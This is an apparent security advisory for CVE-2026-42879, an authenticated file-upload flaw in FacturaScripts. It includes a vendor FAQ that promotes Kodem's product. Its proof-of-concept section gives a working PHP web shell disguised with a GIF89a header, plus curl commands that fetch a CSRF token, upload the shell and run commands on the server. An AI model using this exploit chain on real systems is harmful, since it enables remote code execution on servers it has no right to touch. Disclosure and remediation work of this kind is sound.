CVE-2026-42879

CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass

An authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.

Details

The vulnerability exists in:

Core/Lib/ExtendedController/ProductImagesTrait.php

Specifically in the addImageAction() method.

Vulnerable Code

if (false === strpos($uploadFile->getMimeType(), 'image/')) {
    Tools::log()->error('file-not-supported');
    continue;
}
 
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());

Root Cause

• The validation only checks if MIME type contains "image/"
• This can be bypassed by prepending GIF89a magic bytes to a PHP file
• The system incorrectly identifies the file as image/gif
• The file is saved with a .php extension in a web-accessible directory

File Storage Behavior

Uploaded files are stored in:

/MyFiles/YYYY/MM/X.php

Where X is an auto-incrementing ID. This allows direct remote execution:

http://target/MyFiles/2026/03/2.php?cmd=id

Proof of Concept (Manual)

Step 1: Create malicious file

cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF

Step 2: Authenticate

• Login to the application
• Extract PHPSESSID from browser cookies

Step 3: Get CSRF token

curl -s "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  | grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4

Step 4: Upload shell

curl -X POST "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  -F "multireqtoken=YOUR_CSRF_TOKEN" \
  -F "action=add-image" \
  -F "activetab=EditProductoImagen" \
  -F "idproducto=3" \
  -F "newfiles[][email protected]"

Step 5: Execute command

curl "http://target/MyFiles/2026/03/2.php?cmd=id"

Affected Products

Remediation Recommendations

1. Validate file extension, reject any upload where the filename ends in .php, .phtml, .phar, or other executable extensions, regardless of MIME type
2. Re-generate filenames on the server, never use getClientOriginalName(); assign a safe UUID-based name with a validated extension
3. Store uploads outside the webroot, serve files through a controller that streams content, preventing direct URL execution
4. Use a file type library, validate actual file content (magic bytes + extension + MIME type) with a library like fileinfo rather than trusting client-supplied MIME

Credits

• Discoverer: Abdullah Alwasabei / Guzrex

Successful exploitation:

An attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-42879 has a CVSS score of 6.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2026-42879? CVE-2026-42879 is a medium-severity code injection vulnerability in facturascripts/facturascripts (composer), affecting versions <= 2025.81. No fixed version is listed yet. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-42879? CVE-2026-42879 has a CVSS score of 6.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of facturascripts/facturascripts are affected by CVE-2026-42879? facturascripts/facturascripts (composer) versions <= 2025.81 is affected.
4. Is there a fix for CVE-2026-42879? No fixed version is listed for CVE-2026-42879 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-42879 exploitable, and should I be worried? Whether CVE-2026-42879 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-42879 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-42879? No fixed version is listed yet. In the interim: Never evaluate untrusted input as code. Use sandboxed evaluation environments if dynamic execution is required.